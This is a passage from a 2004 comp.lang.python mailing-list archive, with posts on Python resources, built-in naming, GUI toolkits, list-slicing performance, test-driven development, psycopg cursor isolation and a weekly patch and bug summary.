    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From aleaxit at yahoo.com  Sat Sep  4 05:00:28 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:28 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<mailman.2830.1094218412.5135.python-list@python.org>
Message-ID: <1gjjxns.siljhqnyugnuN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:

> Mostly agreed. There is an inconsistence, as sorted() and reversed()
> should return both the same type of result - be it a sequence or a
> iterator.

"A foolish consistency is the hobgoblin of a small mind" (Emerson?) or
something like that.  reversed doesn't NEED to build a sequence in
memory so it's fit and proper that it returns an iterator.  sorted DOES
need to build a new list in memory, so it would be a waste to have it
return an iterator on the list (no gain if you're only looping, a net
loss if you're going to call 'list(sorted(foolist))'... a black eye to
nothing!).

> 1) sorted() and reversed() should return sequences. So sorted() stays
> like it, and reversed() meaning is changed. Now, that could
> potentially break a lot of code, but probably this is not going to
> happen -- because in most situations, reversed() is getting called

It's not going to break MUCH code ("just" that relying on being able to
call .next() on reversed's value) and if breakage should be needed now
(before alphas turn to betas) is THE time.  But the issue is another:
wanton waste of memory pursuing "a foolish consistency".  Practicality
beats purity.

> 2) add two new builtins, called respectively xsorted() and
> xreversed(), as the iterator versions of sorted() and reversed(). This
> way we keep the existing naming convention for range() and xrange().

That naming convention is one of Python's warts and the LAST thing we
want is to reinforce it.  Note that the names in itertools all start
with 'i', sensibly, not with an absurd 'x' to honor xrange!

> > <opinion>
> > I would like to see Python introducing a naming scheme for built-ins. Ruby
> > for example uses the ! to indicate an in-place function [sort() vs.
> > sort!()]. I know, that the exclamation mark is out of discussion but I
> > would appreciate to have a clear and distinct function naming (Explicit is
> > better than implicit).

I agree -- that was one of the several things I liked in Prothon's (RIP)
changes over Python: bang and question allowed as the LAST character of
an identifier (only), with the universal convention of bang meaning
"modifies arguments" (typically the implied argument 'self') and
question meaning "returns a boolean value" (a predicate, in other
words).  Maybe there's a hope for that in Python 3.0 (would break no
code: bang is only a prefix operator, question is not a character Python
uses at all currently).

If we can't have bang and question I doubt any other convention is worth
the bother.


Alex


From carribeiro at gmail.com  Sat Sep 18 09:13:53 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 18 Sep 2004 10:13:53 -0300
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
In-Reply-To: <slrnckoabl.mb3.mlh@furu.idi.ntnu.no>
References: <a5415304.0409160644.41adea51@posting.google.com>
	<cicqq7$kra$2@news-reader4.wanadoo.fr>
	<cicsha$prl@odbk17.prod.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
	<cc887c1d.0409162041.1433bac1@posting.google.com>
	<pan.2004.09.18.07.53.35.276252@virgilio.it>
	<1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com>
	<slrnckoabl.mb3.mlh@furu.idi.ntnu.no>
Message-ID: <864d37090409180613135d02de@mail.gmail.com>

On Sat, 18 Sep 2004 12:26:29 +0000 (UTC), Magnus Lie Hetland
<mlh at furu.idi.ntnu.no> wrote:
> Anygui succeeded as a proof of concept, but the burden of sustained
> support and development for many toolkits did make it very impractical
> to keep things going. At the moment the project is effectively on ice.

It's a shame. I've looked at it a few days ago, and I was actually
wondering if the development had stopped -- the newest news on the
site are quite old, in fact.
 
> If Greg can make a reasonably full-featured system (which isn't too
> hard to install/compile and has a native look on the major platforms)
> I think that would be a major step toward a 'standard' GUI package for
> Python. If not, there are existing packages (e.g. wx) that work very
> well -- perhaps there really isn't a need for anything more standard
> than that?

I'm hedging my bets on a related (but different) approach. I'm writing
business apps, and the style of interaction that I'm using doesn't
require a high degree of customization. It's a subset of the full GUI
approach, using simple data-entry forms and very little "live"
features. I want to be able to provide both native and browser based
frontends. The two versions do not need to work exactly the same way;
for example, some features may only be available on the native
front-end, but the API must degrade nicely in the case of unsupported
features.

How is it going to work? My idea is to have some kind of form
description API, with hooks for validation and live data lookups. The
engine will take care of the rendering either any of the frontends.
I'm doing some experiments with wxPython and DHTML, and the results
are promising. In a way, it's AnyGUI revisited with a web twist :-)

The biggest problem with this kind of approach is not handling the
visual differences between different toolkits. There are workable
solutions for automatic layout, or to port common widgets between the
wxWidgets and the browser-based versions. The biggest issue is how to
handle architectural differences between a browser based app -- where
there is a clear separation betwen the server and client code -- and
the wxWidgets version, where no such separation is assumed. My
intention is to make the wxWidgets version mimic the browser-one in
this respect. For simple apps this is not as big an issue as one might
think, but for more complex ones, it may have a cost in terms of
flexibility and interactivity.

For now, I'm still experimenting. But it's being interesting to
explore both the similarities and the differences between the two
models, and what types of tricks can be used to bring the two
together.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk  Mon Sep 20 03:47:46 2004
From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen)
Date: 20 Sep 2004 07:47:46 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
	<ida3d.3866$%42.2117@trndny08>
	<k4grk05437ut8ge389n3k2gqmq93jiij72@4ax.com>
	<1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com>
Message-ID: <414e8b22$0$194$edfadb0f@dread11.news.tele.dk>

aleaxit at yahoo.com (Alex Martelli) wrote in news:1gkdncx.kyq0oz1excwtyN%
aleaxit at yahoo.com:


> Nothing strange there -- HP's calculators were squarely aimed at
> scientists and engineers, who are supposed to know what they're doing
> when it comes to numeric computation (they mostly _don't_, but they like
> to kid themselves that they do!-).
> 

Oi!!! I resemble that remark !

;-)


From steven.bethard at gmail.com  Wed Sep 29 12:07:51 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 29 Sep 2004 16:07:51 +0000 (UTC)
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
	<1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com>
Message-ID: <loom.20040929T175555-925@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> With slicing:
> 
> kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x
> in enumerate(l) for y in l[i+1:]]'
> 10 loops, best of 3: 1.43e+05 usec per loop
> kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x
> in enumerate(l) for y in l[i+1:]]'
> 10 loops, best of 3: 1.41e+05 usec per loop
> 
> With xrange(len(...:
> 
> kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j])
> for i in xrange(len(l)) for j in xrange(i+1,len(l))]'
> 10 loops, best of 3: 1.61e+05 usec per loop
> kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j])
> for i in xrange(len(l)) for j in xrange(i+1,len(l))]'
> 10 loops, best of 3: 1.62e+05 usec per loop

Wow, interesting.  Slicling's still faster in a slightly more fair comparison:

>python timeit.py -s "l=range(333)" "[(x,i) for i,x in enumerate(l) for y in l
[:i+1]]"
10 loops, best of 3: 24.5 msec per loop
>python timeit.py -s "l=range(333)" "[(x,i) for i,x in enumerate(l) for y in l
[:i+1]]"
10 loops, best of 3: 24.4 msec per loop

>python timeit.py -s "l=range(333)" "[(x,l[j]) for i,x in enumerate(l) for j 
in xrange(i+1,len(l))]"
10 loops, best of 3: 28.9 msec per loop
>python timeit.py -s "l=range(333)" "[(x,l[j]) for i,x in enumerate(l) for j 
in xrange(i+1,len(l))]"
10 loops, best of 3: 28.8 msec per loop

So slicing a list and iterating over the slice is faster than iterating over 
the indices and indexing the items...  Is this generally true?  Is it 
something I can depend on across implementations?

STeve



From jerf at jerf.org  Thu Sep  2 13:05:44 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Thu, 02 Sep 2004 17:05:44 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
	<slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
Message-ID: <pan.2004.09.02.13.05.51.473986@jerf.org>

On Thu, 02 Sep 2004 11:27:36 +0000, Antoon Pardon wrote:
> I haven't come up in such a situation for tens of years. So I think
> I'm doing well enough.

It stuns me how stubbornly some people can persist in poor habits. This
argument from "experience" saddens me, not impresses me.

Frankly, getting back to the main point here, your little fight here is
pointless. Ain't gonna happen. With your... ahhh.... "unique views" on
this topic, you don't stand a chance in hell of convincing Guido, or
anybody else, that you are right. 

Keep writing your spaghetti code, and don't wait for Python to help you
code that way. Good luck.


From mcfletch at rogers.com  Fri Sep  3 18:05:50 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 03 Sep 2004 18:05:50 -0400
Subject: How to actually write a program?
In-Reply-To: <chano0$1gv$1@sparta.btinternet.com>
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <4138EABE.1040402@rogers.com>

This may seem a bit weird:

    Create another text file and save it as test_mykewlprogram.py.  Add
    the following to it:

    import unittest
    import mykewlprogram

    class BasicTests( unittest.TestCase ):
        def test_something( self ):
           """Do some basic test of functionality"""

    if __name__ == "__main__":
        unittest.main()

    And run that from the command line.  If the unit-test passes (it
    should), then add some more code to it until it doesn't pass, then
    fix your program to make it pass, then immediately go back to
    writing unit tests.  For instance:

    def test_something( self ):
        """Can we create an instance of our frobnitz?"""
        mykewlprogram.Frobnitz()

    which should fail, because you haven't defined a Frobnitz class
    yet.  So you simply define it in mykewlprogram as:

    class Frobnitz( object ):
        """Frobnitzes are responsible for killing Whirlygigs"""

    then run your test suite again.  It should now pass, so go back to
    writing code that tests to see if your program does what it's
    supposed to do.


That (called test-driven development) works very well if you've got a 
general idea of what you want to do, and your project is not about user 
interface design or the like (where test-driven development can be quite 
messy).

There are lots of other ways to do it.  I was originally taught a method 
that was taught in the very early days of computers wherein you figure 
out the whole program in your head/on paper, running it in mental 
emulation until you're sure you've figured out the major features of the 
program.  It tends to impress the heck out of certain people (you have 
to be able to hold entire complex systems in your head to do it, and 
that takes a lot of practice that most people have never mastered), 
really speeds up planning meetings, and you can do it in the shower, in 
bed, while cooking, etceteras, but it's a lot less common these days.  
It's also pretty slow and error-prone :) .

True enlightenment lies somewhere between the extremes.  There's 
hundreds (thousands?) of books that purport to show you the 
one-true-solution to this problem.  Any time you see that you can be 
pretty sure that there is no "one" solution and that you'll have to 
experiment with the ideas expounded by the various religions and figure 
out what works *for you*.

Have fun,
Mike


Nick Evans wrote:

>Hello there,
>I have been on and off learning to code (with python being the second
>language I have worked on after a bit of BASIC). What I really want to know
>is, if you are going to actually write a program or a project of some sort,
>how do you actually start.
>
>Picture this, you know what you want the program to do (its features), you
>have a possably rough idea of how the program will work. You have opened an
>empty text file and saved it as 'mykewlprogram.py' and now your sitting in
>front of an empty text file... Now then.... where do I start.
>
>Any ideas about this problem :-)
>
>Ta
>Nick
>  
>
________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From mwm at mired.org  Fri Sep 24 03:53:25 2004
From: mwm at mired.org (Mike Meyer)
Date: Fri, 24 Sep 2004 02:53:25 -0500
Subject: Check for keystroke <--Nevermind
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
	<Xns956CCC450F99Fnonenonecom@24.93.44.119>
Message-ID: <x7oejwxfuy.fsf@guru.mired.org>

Brian <ThisIsNotMyReal at ddress.com> writes:

> stdscr.nodelay(1)
>
> Gah, I'm a retard.

Another good option is select.poll() or select.select().

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.


From wayne at mishre.com  Thu Sep 16 08:47:37 2004
From: wayne at mishre.com (Wayne Pierce)
Date: 16 Sep 2004 05:47:37 -0700
Subject: software that knows how to update itself
In-Reply-To: <mailman.3398.1095333155.5135.python-list@python.org>
Message-ID: <cic219$l1s@odak26.prod.google.com>

One thing I would like to add is that you can also restrict what hosts
are allowed to initiate an update.  Perhaps something on the client
that only allows the update request from your machine.

The IP can be forged, so this isn't perfect just another layer.  You
should also have the servers report back when a host tries to initiate
an update, this way you know if someone attempts to update a client.



From jhefferon at smcvt.edu  Tue Sep 28 09:04:41 2004
From: jhefferon at smcvt.edu (Jim Hefferon)
Date: 28 Sep 2004 06:04:41 -0700
Subject: Psycopg; How to detect row locking?
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com>
	<415811D2.7070408@magproductions.nl>
	<j4mdnSn6xsECgMXcRVn-tA@giganews.com>
	<41582377.5050100@magproductions.nl> <4158AF94.30607@holdenweb.com>
Message-ID: <545cb8c2.0409280504.28909aa2@posting.google.com>

Steve Holden <steve at holdenweb.com> wrote
> Please make sure that you correctly understand the way psycopg is acting 
> before you assume that multiple cursors on the same connection are 
> isolated from each other. You may be right, but if so then psycopg is 
> definitely not DBAPI compliant.
This is from the README for the (reasonably fresh) version of psycopg that 
I happen to have (I couldn't find a link, so I'm pasting):

  Extensions to the Python DBAPI-2.0
  ----------------------------------
 
  psycopg offers some little extensions on the Python DBAPI-2.0. Note that the
  extension do not make psycopg incompatible and you can still use it without
  ever knowing the extensions are here.
 
  The DBAPI-2.0 mandates that cursors derived from the same connection are not
  isolated, i.e., changes done to the database by one of them should be
  immediately visible by all the others. This is done by serializing the queries
  on the same physical connection to the database (PGconn struct in C.)
  Serializing queries when the network latencies are hight (and network speed is
  low) dramatically lowers performance, so it is possible to put a connection
  into not-serialized mode, by calling the .serialize() method giving it a
  0-value argument or by creating a connection using the following code:
 
          conn = psycopg.connect("dbname=...", serialize=0)
 
  After that every cursor will get its own physical connection to the database
  and multiple threads will go at full speed. Note that this feature makes the
  new cursors non-compliant respect to the DBAPI-2.0.
 
  The main extension is that we support (on not-serialized cursors) per-cursor
  commits. If you do a commit() on the connection all the changes on all the
  cursors derived from that connection are committed to the database (in random
  order, so take your care.)  But you can also call commit() on a single cursor
  to commit just the operations done on that cursor. Pretty nice.
                                                                                
  Note that you *do have* to call .commit() on the cursors or on the connection
  if you want to change your database. Note also that you *do have* to call
  commit() on a cursor even before a SELECT if you want to see the changes
  apported by other threads to the database.

So, although you can turn it off, by default (and with some justification) the
behavior is non-compliant.

Jim


From joh12005 at yahoo.fr  Thu Sep  2 03:21:48 2004
From: joh12005 at yahoo.fr (Joh)
Date: 2 Sep 2004 00:21:48 -0700
Subject: need an idea, recognize sequence, fsm or genetic ?
Message-ID: <63b5e209.0409012321.5850291f@posting.google.com>

hello,

here is my trouble, i would to like to write a program which could
help me to detect sequence of consecutive words in list in a very
efficient way. (i need to do it upon large amount of text, and for now
i'm looking for a good start point)

i have many "sentences" of variables sizes, for example one could be :
sentence1 = ['w43', 'w12', 'w41', 'w85', 'w4', 'w74', 'w24', 'w1',
'w6', 'w41', 'w85', 'w7', 'w23', 'w43']
where wx can be seen as a word.

then i had sequence of words which i need to recognize, for example :
sequences = [['w41', 'w85', 'w4'], ['w41', 'w85', 'w7'],] etc.

and need something like span position where sequences are present in
sentence:

{
['w41', 'w85', 'w4']: [[2, 4], ],
['w41', 'w85', 'w7']: [[9, 11], ]
}

for now i'm doing it by using many nested 'for loop', and it is too
slow, as i search for each sequence one by one, and then restart from
beginning, and so on, i'm wondering if this can not be done by using
nested dictionnary or something like that, maybe is there an
improvement to imagine ?
(i'm wondering if i should not find a way to not re-start from
beginning when i had found ['w41', 'w85', ] for the second time and
thus just only look after last token 'w4' or 'w7')

also i think this is related to some kind of finite state automata,
but i do not know how to build automatically massive parallel FSM (i
can have many many sequences and huge amount of sentences)

i was also wondering if some genetics algorithm used to align sequence
of protein could not help me, i had once read something about that ,
but still can not where to start. also as far as i remember such
algorithms take into account that 'sequence' could not be consecutive,
what i need is consecutive.

maybe one of you could help ? give a start point or even an idea that
could help me to design this piece of code ?


From nomail at edu  Sat Sep 18 12:12:39 2004
From: nomail at edu (Izzie)
Date: Sat, 18 Sep 2004 12:12:39 -0400
Subject: Database->python->Xml->Xslt->Client
In-Reply-To: <4c900ea0.0409172237.3e5abf25@posting.google.com>
References: <4c900ea0.0409172237.3e5abf25@posting.google.com>
Message-ID: <-sWdnbztMo_vw9HcRVn-ig@giganews.com>

john wrote:

> Will this improve performance or have i gone nuts??

Since you have more computationally intensive steps
(XSLT is no walk in the park) to do I don't think that
it will directly improve the performance at all.

What gets improved is the modularity and generality
of your solution. In your system you can now freely
interchange the backends and frontends. You program
will work with any other backend that produces XML
and any other display that can transform from XML.
This independence can be great.

On the other hand I have been seriously bitten
by XSLT. Writing complicated and reusable stylesheets
that remain readable seems to be impossible.
And it is difficult to foresee how complicated
the stylesheets need to be.

The weakest link in your pipeline is XSLT.

Istvan.















From ville at spammers.com  Thu Sep 30 21:24:51 2004
From: ville at spammers.com (Ville Vainio)
Date: 01 Oct 2004 04:24:51 +0300
Subject: python connection to mssql from windows box
References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu>
	<mailman.4134.1096552901.5135.python-list@python.org>
	<du7sm8zod04.fsf@lehtori.cc.tut.fi>
	<mailman.4150.1096571709.5135.python-list@python.org>
Message-ID: <du7sm8zmdr0.fsf@mozart.cc.tut.fi>

>>>>> "Josh" == Josh Close <narshe at gmail.com> writes:

    Josh> On 30 Sep 2004 20:58:03 +0300, Ville Vainio <ville at spammers.com> wrote:
    Josh> Google? What's that?
    >> 
    >> *rubs eyes in disbelief*

    Josh> That was a joke. If you didn't notice I'm using a google
    Josh> email account, so I obviously know what it is :P

Heh, I should have gone with the disbelief :-).

-- 
Ville Vainio   http://tinyurl.com/2prnb


From export at hope.cz  Tue Sep 28 06:00:23 2004
From: export at hope.cz (Lad)
Date: 28 Sep 2004 03:00:23 -0700
Subject: os.system  vs. Py2Exe
Message-ID: <81a41dd.0409280200.1a74edd1@posting.google.com>

I used Py2exe to compile my script( I use XP).
The compiled script works OK on my XP where Python is installed.
But when I install the compiled exe to another computer,
 
os.system 

causes the following  error:
Bad file or command name

Any help would be appreciated.
Lad


From ialbert at mailblocks.com  Fri Sep 24 10:18:48 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 24 Sep 2004 10:18:48 -0400
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
Message-ID: <89adnWTWC6JVscncRVn-uw@giganews.com>


My opinion on this matter is that this project has
no chance of succeeding in any palpable way. It will
always remain at this semi-conscious level of making
some generic statements that may make feel one better
but have no actual relevance to the way things work.

The Beach Boys have already properly captured
this design in their song titled "Wouldn't It Be Nice":

"Wouldn't it be nice if we were older
Then we wouldn't have to wait so long
And wouldn't it be nice to live together
In the kind of world where we belong"

And here is how to wake up from your dream. Pick a simple task,
design a program that does it and make it as simple
as you can. Then grab a few people off the street,
take them to a room, ask them to perform the task,
leave the room, then watch them try to accomplish
that task. The lessons you learn in a few hours
will last you a lifetime. You'll then understand
why this "generic computing appliance" serving the
"needs of a typical user" makes no sense whatsoever.

Istvan.


From bjg at network-theory.co.uk  Tue Sep  7 07:26:38 2004
From: bjg at network-theory.co.uk (Brian Gough)
Date: 07 Sep 2004 12:26:38 +0100
Subject: How to actually write a program?
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <87y8jm1frl.fsf@network-theory.co.uk>

"Nick Evans" <nick at huff.org.uk> writes:

> Picture this, you know what you want the program to do (its features), you
> have a possably rough idea of how the program will work. You have opened an
> empty text file and saved it as 'mykewlprogram.py' and now your sitting in
> front of an empty text file... Now then.... where do I start.

The books "Programming Pearls" and "More Programming Pearls" by Jon
Bentley have nice examples of this sort of thing.

-- 
Brian Gough

Network Theory Ltd,
Publishing the Python Manuals --- http://www.network-theory.co.uk/python/


From kbk at shore.net  Tue Sep 21 23:22:11 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Tue, 21 Sep 2004 23:22:11 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200409220322.i8M3MBF7005521@h006008a7bda6.ne.client2.attbi.com>

Patch / Bug Summary
___________________

Patches :  235 open ( -6) /  2633 closed (+11) /  2868 total ( +5)
Bugs    :  767 open ( +3) /  4463 closed (+10) /  5230 total (+13)
RFE     :  151 open ( +1) /   131 closed ( +0) /   282 total ( +1)

New / Reopened Patches
______________________

   (2004-09-18)
CLOSED http://python.org/sf/1030422  opened by  Jeff Connelly aka shellreef

Patch for bug #780725   (2004-09-20)
       http://python.org/sf/1031213  opened by  atsuo ishimoto

Clean up discussion of new C thread idiom  (2004-09-20)
       http://python.org/sf/1031233  opened by  Greg Chapman

atexit decorator  (2004-09-21)
       http://python.org/sf/1031687  opened by  Raymond Hettinger

Add API to logging package to allow intercooperation.  (2004-09-21)
       http://python.org/sf/1032206  opened by  Dave Wilson

Patches Closed
______________

Decimal performance enhancements  (2004-09-01)
       http://python.org/sf/1020845  closed by  rhettinger

topdir calculated incorrectly in bdist_rpm  (2004-09-03)
       http://python.org/sf/1022003  closed by  jafo

add support for the AutoReq flag in bdist_rpm  (2004-09-03)
       http://python.org/sf/1022011  closed by  jafo

Adding IPv6 host handling to httplib  (2004-09-15)
       http://python.org/sf/1028502  closed by  loewis

Add status code constants to httplib  (2004-09-10)
       http://python.org/sf/1025790  closed by  loewis

tarfile.py longnames are truncated in getnames()  (2004-09-16)
       http://python.org/sf/1029061  closed by  loewis

Patch for bug 933795. term.h and curses on Solaris  (2004-08-19)
       http://python.org/sf/1012280  closed by  loewis

fix bug 807871 : tkMessageBox.askyesno wrong result  (2004-08-29)
       http://python.org/sf/1018509  closed by  loewis

Error when int sent to PyLong_AsUnsignedLong  (2004-09-08)
       http://python.org/sf/1024670  closed by  loewis

WinSock 2 support on Win32 w/ MSVC++ 6 (fix #860134)  (2004-03-03)
       http://python.org/sf/908631  closed by  loewis

   (2004-09-18)
       http://python.org/sf/1030422  closed by  jeffconnelly

New / Reopened Bugs
___________________

email.Utils not mentioned  (2004-09-17)
       http://python.org/sf/1030118  opened by  Jeff Blaine

rfc822 __iter__ problem  (2004-09-17)
       http://python.org/sf/1030125  opened by  Mike Foord

socket is not garbage-collected under specific circumstances  (2004-09-18)
CLOSED http://python.org/sf/1030249  opened by  Matthias Klose

distutils' dry-run wants to create some real build dirs  (2004-09-18)
       http://python.org/sf/1030250  opened by  Matthias Klose

os.system exhausts file descriptors  (2004-09-18)
CLOSED http://python.org/sf/1030388  opened by  Eray Ozkural

os.path.join() does not raise TypeError  (2004-09-18)
       http://python.org/sf/1030499  opened by  Pierre Fortin

PyMapping_Check crashes when argument is NULL  (2004-09-19)
CLOSED http://python.org/sf/1030557  opened by  Michiel de Hoon

PyOS_InputHook broken  (2004-09-19)
       http://python.org/sf/1030629  opened by  Michiel de Hoon

Email message croaks the new email pkg parser  (2004-09-19)
       http://python.org/sf/1030941  opened by  Skip Montanaro

tarfile: dirsize is not zero  (2004-09-20)
CLOSED http://python.org/sf/1031148  opened by  Bertram Scharpf

decimal module inconsistent with integers and floats  (2004-09-20)
CLOSED http://python.org/sf/1031480  opened by  Anthony Tuininga

Fold tuples of constants into a single constant  (2004-09-20)
       http://python.org/sf/1031667  opened by  Raymond Hettinger

Conflicting descriptions of application order of decorators  (2004-09-21)
       http://python.org/sf/1031897  opened by  Hamish Lawson

Bugs Closed
___________

help() does not check for chm file  (2004-09-09)
       http://python.org/sf/1025392  closed by  loewis

socket is not garbage-collected under specific circumstances  (2004-09-18)
       http://python.org/sf/1030249  closed by  loewis

configure not able to find ncurses/curses in Solaris   (2004-04-12)
       http://python.org/sf/933795  closed by  loewis

tkMessageBox.askyesno wrong result  (2003-09-17)
       http://python.org/sf/807871  closed by  loewis

Trivial fix for obscure bug in os.urandom()  (2004-09-03)
       http://python.org/sf/1021596  closed by  loewis

os.system exhausts file descriptors  (2004-09-18)
       http://python.org/sf/1030388  closed by  loewis

PyMapping_Check crashes when argument is NULL  (2004-09-18)
       http://python.org/sf/1030557  closed by  rhettinger

tarfile: dirsize is not zero  (2004-09-20)
       http://python.org/sf/1031148  closed by  loewis

decimal module inconsistent with integers and floats  (2004-09-20)
       http://python.org/sf/1031480  closed by  rhettinger

get_installer_filename   (2004-09-15)
       http://python.org/sf/1028334  closed by  theller

New / Reopened RFE
__________________

Update unicodedata to version 4.0.1  (2004-09-20)
       http://python.org/sf/1031288  opened by  Oliver Horn



From aleaxit at yahoo.com  Mon Sep 13 04:34:21 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 10:34:21 +0200
Subject: unittest.TestCase, lambda and __getitem__
References: <mailman.3214.1095049956.5135.python-list@python.org>
	<1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com>
	<mailman.3220.1095061215.5135.python-list@python.org>
Message-ID: <1gk1qu1.1778fyhc2kvbzN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:

> Alex Martelli <aleaxit <at> yahoo.com> writes:
> > Steven Bethard <steven.bethard <at> gmail.com> wrote:
> > > Or is there a better/clearer way of handling this kind of test case?
> > 
> > Sure:
> > 
> >     def wrong_indexing(): return obj[index]
> >     self.assertRaises(ValueError, wrong_indexing)
> 
> Yeah, I guess I was just begging someone to give me that response. ;)
> 
> First, I have to mention that I'd probably have to write your code as
> 
> def wrong_indexing():
>     return obj[index]
> self.assertRaises(ValueError, wrong_indexing)
> 
> because GvR has also commented that he wishes he hadn't allowed the one-
